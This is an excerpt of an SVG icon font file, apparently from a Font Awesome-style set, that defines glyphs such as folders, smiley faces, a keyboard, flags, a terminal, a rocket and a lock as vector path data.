280 <glyph unicode="&#xf113;" horiz-adv-x="1664" d="M640 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1280 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1440 320 q0 120 -69 204t-187 84q-41 0 -195 -21q-71 -11 -157 -11t-157 11q-152 21 -195 21q-118 0 -187 -84t-69 -204q0 -88 32 -153.5t81 -103t122 -60t140 -29.5t149 -7h168q82 0 149 7t140 29.5t122 60t81 103t32 153.5zM1664 496q0 -207 -61 -331q-38 -77 -105.5 -133t-141 -86 t-170 -47.5t-171.5 -22t-167 -4.5q-78 0 -142 3t-147.5 12.5t-152.5 30t-137 51.5t-121 81t-86 115q-62 123 -62 331q0 237 136 396q-27 82 -27 170q0 116 51 218q108 0 190 -39.5t189 -123.5q147 35 309 35q148 0 280 -32q105 82 187 121t189 39q51 -102 51 -218 q0 -87 -27 -168q136 -160 136 -398z" />
281 <glyph unicode="&#xf114;" horiz-adv-x="1664" d="M1536 224v704q0 40 -28 68t-68 28h-704q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68v-960q0 -40 28 -68t68 -28h1216q40 0 68 28t28 68zM1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320 q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
282 <glyph unicode="&#xf115;" horiz-adv-x="1920" d="M1781 605q0 35 -53 35h-1088q-40 0 -85.5 -21.5t-71.5 -52.5l-294 -363q-18 -24 -18 -40q0 -35 53 -35h1088q40 0 86 22t71 53l294 363q18 22 18 39zM640 768h768v160q0 40 -28 68t-68 28h-576q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68 v-853l256 315q44 53 116 87.5t140 34.5zM1909 605q0 -62 -46 -120l-295 -363q-43 -53 -116 -87.5t-140 -34.5h-1088q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158v-160h192q54 0 99 -24.5t67 -70.5q15 -32 15 -68z " />
283 <glyph unicode="&#xf116;" horiz-adv-x="1792" />
284 <glyph unicode="&#xf117;" horiz-adv-x="1792" />
285 <glyph unicode="&#xf118;" d="M1134 461q-37 -121 -138 -195t-228 -74t-228 74t-138 195q-8 25 4 48.5t38 31.5q25 8 48.5 -4t31.5 -38q25 -80 92.5 -129.5t151.5 -49.5t151.5 49.5t92.5 129.5q8 26 32 38t49 4t37 -31.5t4 -48.5zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5 t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5 t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
286 <glyph unicode="&#xf119;" d="M1134 307q8 -25 -4 -48.5t-37 -31.5t-49 4t-32 38q-25 80 -92.5 129.5t-151.5 49.5t-151.5 -49.5t-92.5 -129.5q-8 -26 -31.5 -38t-48.5 -4q-26 8 -38 31.5t-4 48.5q37 121 138 195t228 74t228 -74t138 -195zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5 t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204 t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
287 <glyph unicode="&#xf11a;" d="M1152 448q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h640q26 0 45 -19t19 -45zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5 t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
288 <glyph unicode="&#xf11b;" horiz-adv-x="1920" d="M832 448v128q0 14 -9 23t-23 9h-192v192q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-192h-192q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h192v-192q0 -14 9 -23t23 -9h128q14 0 23 9t9 23v192h192q14 0 23 9t9 23zM1408 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1920 512q0 -212 -150 -362t-362 -150q-192 0 -338 128h-220q-146 -128 -338 -128q-212 0 -362 150 t-150 362t150 362t362 150h896q212 0 362 -150t150 -362z" />
289 <glyph unicode="&#xf11c;" horiz-adv-x="1920" d="M384 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM512 624v-96q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h224q16 0 16 -16zM384 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 368v-96q0 -16 -16 -16 h-864q-16 0 -16 16v96q0 16 16 16h864q16 0 16 -16zM768 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM640 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1024 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16 h96q16 0 16 -16zM896 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1280 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1152 880v-96 q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 880v-352q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h112v240q0 16 16 16h96q16 0 16 -16zM1792 128v896h-1664v-896 h1664zM1920 1024v-896q0 -53 -37.5 -90.5t-90.5 -37.5h-1664q-53 0 -90.5 37.5t-37.5 90.5v896q0 53 37.5 90.5t90.5 37.5h1664q53 0 90.5 -37.5t37.5 -90.5z" />
290 <glyph unicode="&#xf11d;" horiz-adv-x="1792" d="M1664 491v616q-169 -91 -306 -91q-82 0 -145 32q-100 49 -184 76.5t-178 27.5q-173 0 -403 -127v-599q245 113 433 113q55 0 103.5 -7.5t98 -26t77 -31t82.5 -39.5l28 -14q44 -22 101 -22q120 0 293 92zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9 h-64q-14 0 -23 9t-9 23v1266q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102 q-15 -9 -33 -9q-16 0 -32 8q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
291 <glyph unicode="&#xf11e;" horiz-adv-x="1792" d="M832 536v192q-181 -16 -384 -117v-185q205 96 384 110zM832 954v197q-172 -8 -384 -126v-189q215 111 384 118zM1664 491v184q-235 -116 -384 -71v224q-20 6 -39 15q-5 3 -33 17t-34.5 17t-31.5 15t-34.5 15.5t-32.5 13t-36 12.5t-35 8.5t-39.5 7.5t-39.5 4t-44 2 q-23 0 -49 -3v-222h19q102 0 192.5 -29t197.5 -82q19 -9 39 -15v-188q42 -17 91 -17q120 0 293 92zM1664 918v189q-169 -91 -306 -91q-45 0 -78 8v-196q148 -42 384 90zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v1266 q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102q-15 -9 -33 -9q-16 0 -32 8 q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
292 <glyph unicode="&#xf120;" horiz-adv-x="1664" d="M585 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23zM1664 96v-64q0 -14 -9 -23t-23 -9h-960q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h960q14 0 23 -9 t9 -23z" />
293 <glyph unicode="&#xf121;" horiz-adv-x="1920" d="M617 137l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23zM1208 1204l-373 -1291q-4 -13 -15.5 -19.5t-23.5 -2.5l-62 17q-13 4 -19.5 15.5t-2.5 24.5 l373 1291q4 13 15.5 19.5t23.5 2.5l62 -17q13 -4 19.5 -15.5t2.5 -24.5zM1865 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23z" />
294 <glyph unicode="&#xf122;" horiz-adv-x="1792" d="M640 454v-70q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-69l-397 -398q-19 -19 -19 -45t19 -45zM1792 416q0 -58 -17 -133.5t-38.5 -138t-48 -125t-40.5 -90.5l-20 -40q-8 -17 -28 -17q-6 0 -9 1 q-25 8 -23 34q43 400 -106 565q-64 71 -170.5 110.5t-267.5 52.5v-251q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-262q411 -28 599 -221q169 -173 169 -509z" />
295 <glyph unicode="&#xf123;" horiz-adv-x="1664" d="M1186 579l257 250l-356 52l-66 10l-30 60l-159 322v-963l59 -31l318 -168l-60 355l-12 66zM1638 841l-363 -354l86 -500q5 -33 -6 -51.5t-34 -18.5q-17 0 -40 12l-449 236l-449 -236q-23 -12 -40 -12q-23 0 -34 18.5t-6 51.5l86 500l-364 354q-32 32 -23 59.5t54 34.5 l502 73l225 455q20 41 49 41q28 0 49 -41l225 -455l502 -73q45 -7 54 -34.5t-24 -59.5z" />
296 <glyph unicode="&#xf124;" horiz-adv-x="1408" d="M1401 1187l-640 -1280q-17 -35 -57 -35q-5 0 -15 2q-22 5 -35.5 22.5t-13.5 39.5v576h-576q-22 0 -39.5 13.5t-22.5 35.5t4 42t29 30l1280 640q13 7 29 7q27 0 45 -19q15 -14 18.5 -34.5t-6.5 -39.5z" />
297 <glyph unicode="&#xf125;" horiz-adv-x="1664" d="M557 256h595v595zM512 301l595 595h-595v-595zM1664 224v-192q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v224h-864q-14 0 -23 9t-9 23v864h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224v224q0 14 9 23t23 9h192q14 0 23 -9t9 -23 v-224h851l246 247q10 9 23 9t23 -9q9 -10 9 -23t-9 -23l-247 -246v-851h224q14 0 23 -9t9 -23z" />
298 <glyph unicode="&#xf126;" horiz-adv-x="1024" d="M288 64q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM288 1216q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM928 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1024 1088q0 -52 -26 -96.5t-70 -69.5 q-2 -287 -226 -414q-68 -38 -203 -81q-128 -40 -169.5 -71t-41.5 -100v-26q44 -25 70 -69.5t26 -96.5q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 52 26 96.5t70 69.5v820q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136q0 -52 -26 -96.5t-70 -69.5v-497 q54 26 154 57q55 17 87.5 29.5t70.5 31t59 39.5t40.5 51t28 69.5t8.5 91.5q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136z" />
299 <glyph unicode="&#xf127;" horiz-adv-x="1664" d="M439 265l-256 -256q-10 -9 -23 -9q-12 0 -23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23zM608 224v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM384 448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23t9 23t23 9h320 q14 0 23 -9t9 -23zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-334 335q-21 21 -42 56l239 18l273 -274q27 -27 68 -27.5t68 26.5l147 146q28 28 28 67q0 40 -28 68l-274 275l18 239q35 -21 56 -42l336 -336q84 -86 84 -204zM1031 1044l-239 -18 l-273 274q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l274 -274l-18 -240q-35 21 -56 42l-336 336q-84 86 -84 204q0 120 85 203l147 146q83 83 203 83q121 0 204 -85l334 -335q21 -21 42 -56zM1664 960q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9 t-9 23t9 23t23 9h320q14 0 23 -9t9 -23zM1120 1504v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM1527 1353l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
300 <glyph unicode="&#xf128;" horiz-adv-x="1024" d="M704 280v-240q0 -16 -12 -28t-28 -12h-240q-16 0 -28 12t-12 28v240q0 16 12 28t28 12h240q16 0 28 -12t12 -28zM1020 880q0 -54 -15.5 -101t-35 -76.5t-55 -59.5t-57.5 -43.5t-61 -35.5q-41 -23 -68.5 -65t-27.5 -67q0 -17 -12 -32.5t-28 -15.5h-240q-15 0 -25.5 18.5 t-10.5 37.5v45q0 83 65 156.5t143 108.5q59 27 84 56t25 76q0 42 -46.5 74t-107.5 32q-65 0 -108 -29q-35 -25 -107 -115q-13 -16 -31 -16q-12 0 -25 8l-164 125q-13 10 -15.5 25t5.5 28q160 266 464 266q80 0 161 -31t146 -83t106 -127.5t41 -158.5z" />
301 <glyph unicode="&#xf129;" horiz-adv-x="640" d="M640 192v-128q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64v384h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-576h64q26 0 45 -19t19 -45zM512 1344v-192q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v192 q0 26 19 45t45 19h256q26 0 45 -19t19 -45z" />
302 <glyph unicode="&#xf12a;" horiz-adv-x="640" d="M512 288v-224q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v224q0 26 19 45t45 19h256q26 0 45 -19t19 -45zM542 1344l-28 -768q-1 -26 -20.5 -45t-45.5 -19h-256q-26 0 -45.5 19t-20.5 45l-28 768q-1 26 17.5 45t44.5 19h320q26 0 44.5 -19t17.5 -45z" />
303 <glyph unicode="&#xf12b;" d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3l-9 -21q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109zM1534 846v-206h-514l-3 27 q-4 28 -4 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q83 65 188 65q110 0 178 -59.5t68 -158.5q0 -56 -24.5 -103t-62 -76.5t-81.5 -58.5t-82 -50.5t-65.5 -51.5t-30.5 -63h232v80 h126z" />
304 <glyph unicode="&#xf12c;" d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3l-9 -21q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109zM1536 -50v-206h-514l-4 27 q-3 45 -3 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q80 65 188 65q110 0 178 -59.5t68 -158.5q0 -66 -34.5 -118.5t-84 -86t-99.5 -62.5t-87 -63t-41 -73h232v80h126z" />
305 <glyph unicode="&#xf12d;" horiz-adv-x="1920" d="M896 128l336 384h-768l-336 -384h768zM1909 1205q15 -34 9.5 -71.5t-30.5 -65.5l-896 -1024q-38 -44 -96 -44h-768q-38 0 -69.5 20.5t-47.5 54.5q-15 34 -9.5 71.5t30.5 65.5l896 1024q38 44 96 44h768q38 0 69.5 -20.5t47.5 -54.5z" />
306 <glyph unicode="&#xf12e;" horiz-adv-x="1664" d="M1664 438q0 -81 -44.5 -135t-123.5 -54q-41 0 -77.5 17.5t-59 38t-56.5 38t-71 17.5q-110 0 -110 -124q0 -39 16 -115t15 -115v-5q-22 0 -33 -1q-34 -3 -97.5 -11.5t-115.5 -13.5t-98 -5q-61 0 -103 26.5t-42 83.5q0 37 17.5 71t38 56.5t38 59t17.5 77.5q0 79 -54 123.5 t-135 44.5q-84 0 -143 -45.5t-59 -127.5q0 -43 15 -83t33.5 -64.5t33.5 -53t15 -50.5q0 -45 -46 -89q-37 -35 -117 -35q-95 0 -245 24q-9 2 -27.5 4t-27.5 4l-13 2q-1 0 -3 1q-2 0 -2 1v1024q2 -1 17.5 -3.5t34 -5t21.5 -3.5q150 -24 245 -24q80 0 117 35q46 44 46 89 q0 22 -15 50.5t-33.5 53t-33.5 64.5t-15 83q0 82 59 127.5t144 45.5q80 0 134 -44.5t54 -123.5q0 -41 -17.5 -77.5t-38 -59t-38 -56.5t-17.5 -71q0 -57 42 -83.5t103 -26.5q64 0 180 15t163 17v-2q-1 -2 -3.5 -17.5t-5 -34t-3.5 -21.5q-24 -150 -24 -245q0 -80 35 -117 q44 -46 89 -46q22 0 50.5 15t53 33.5t64.5 33.5t83 15q82 0 127.5 -59t45.5 -143z" />
307 <glyph unicode="&#xf130;" horiz-adv-x="1152" d="M1152 832v-128q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-217 24 -364.5 187.5t-147.5 384.5v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -185 131.5 -316.5t316.5 -131.5 t316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45zM896 1216v-512q0 -132 -94 -226t-226 -94t-226 94t-94 226v512q0 132 94 226t226 94t226 -94t94 -226z" />
308 <glyph unicode="&#xf131;" horiz-adv-x="1408" d="M271 591l-101 -101q-42 103 -42 214v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -53 15 -113zM1385 1193l-361 -361v-128q0 -132 -94 -226t-226 -94q-55 0 -109 19l-96 -96q97 -51 205 -51q185 0 316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45v-128 q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-125 13 -235 81l-254 -254q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l1234 1234q10 10 23 10t23 -10l82 -82q10 -10 10 -23 t-10 -23zM1005 1325l-621 -621v512q0 132 94 226t226 94q102 0 184.5 -59t116.5 -152z" />
309 <glyph unicode="&#xf132;" horiz-adv-x="1280" d="M1088 576v640h-448v-1137q119 63 213 137q235 184 235 360zM1280 1344v-768q0 -86 -33.5 -170.5t-83 -150t-118 -127.5t-126.5 -103t-121 -77.5t-89.5 -49.5t-42.5 -20q-12 -6 -26 -6t-26 6q-16 7 -42.5 20t-89.5 49.5t-121 77.5t-126.5 103t-118 127.5t-83 150 t-33.5 170.5v768q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
310 <glyph unicode="&#xf133;" horiz-adv-x="1664" d="M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280 q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
311 <glyph unicode="&#xf134;" horiz-adv-x="1408" d="M512 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 1376v-320q0 -16 -12 -25q-8 -7 -20 -7q-4 0 -7 1l-448 96q-11 2 -18 11t-7 20h-256v-102q111 -23 183.5 -111t72.5 -203v-800q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v800 q0 106 62.5 190.5t161.5 114.5v111h-32q-59 0 -115 -23.5t-91.5 -53t-66 -66.5t-40.5 -53.5t-14 -24.5q-17 -35 -57 -35q-16 0 -29 7q-23 12 -31.5 37t3.5 49q5 10 14.5 26t37.5 53.5t60.5 70t85 67t108.5 52.5q-25 42 -25 86q0 66 47 113t113 47t113 -47t47 -113 q0 -33 -14 -64h302q0 11 7 20t18 11l448 96q3 1 7 1q12 0 20 -7q12 -9 12 -25z" />
312 <glyph unicode="&#xf135;" horiz-adv-x="1664" d="M1440 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1664 1376q0 -249 -75.5 -430.5t-253.5 -360.5q-81 -80 -195 -176l-20 -379q-2 -16 -16 -26l-384 -224q-7 -4 -16 -4q-12 0 -23 9l-64 64q-13 14 -8 32l85 276l-281 281l-276 -85q-3 -1 -9 -1 q-14 0 -23 9l-64 64q-17 19 -5 39l224 384q10 14 26 16l379 20q96 114 176 195q188 187 358 258t431 71q14 0 24 -9.5t10 -22.5z" />
313 <glyph unicode="&#xf136;" horiz-adv-x="1792" d="M1745 763l-164 -763h-334l178 832q13 56 -15 88q-27 33 -83 33h-169l-204 -953h-334l204 953h-286l-204 -953h-334l204 953l-153 327h1276q101 0 189.5 -40.5t147.5 -113.5q60 -73 81 -168.5t0 -194.5z" />
314 <glyph unicode="&#xf137;" d="M909 141l102 102q19 19 19 45t-19 45l-307 307l307 307q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
315 <glyph unicode="&#xf138;" d="M717 141l454 454q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l307 -307l-307 -307q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
316 <glyph unicode="&#xf139;" d="M1165 397l102 102q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l307 307l307 -307q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
317 <glyph unicode="&#xf13a;" d="M813 237l454 454q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-307 -307l-307 307q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
318 <glyph unicode="&#xf13b;" horiz-adv-x="1408" d="M1130 939l16 175h-884l47 -534h612l-22 -228l-197 -53l-196 53l-13 140h-175l22 -278l362 -100h4v1l359 99l50 544h-644l-15 181h674zM0 1408h1408l-128 -1438l-578 -162l-574 162z" />
319 <glyph unicode="&#xf13c;" horiz-adv-x="1792" d="M275 1408h1505l-266 -1333l-804 -267l-698 267l71 356h297l-29 -147l422 -161l486 161l68 339h-1208l58 297h1209l38 191h-1208z" />
320 <glyph unicode="&#xf13d;" horiz-adv-x="1792" d="M960 1280q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1792 352v-352q0 -22 -20 -30q-8 -2 -12 -2q-13 0 -23 9l-93 93q-119 -143 -318.5 -226.5t-429.5 -83.5t-429.5 83.5t-318.5 226.5l-93 -93q-9 -9 -23 -9q-4 0 -12 2q-20 8 -20 30v352 q0 14 9 23t23 9h352q22 0 30 -20q8 -19 -7 -35l-100 -100q67 -91 189.5 -153.5t271.5 -82.5v647h-192q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h192v163q-58 34 -93 92.5t-35 128.5q0 106 75 181t181 75t181 -75t75 -181q0 -70 -35 -128.5t-93 -92.5v-163h192q26 0 45 -19 t19 -45v-128q0 -26 -19 -45t-45 -19h-192v-647q149 20 271.5 82.5t189.5 153.5l-100 100q-15 16 -7 35q8 20 30 20h352q14 0 23 -9t9 -23z" />
321 <glyph unicode="&#xf13e;" horiz-adv-x="1152" d="M1056 768q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v320q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45q0 106 -75 181t-181 75t-181 -75t-75 -181 v-320h736z" />
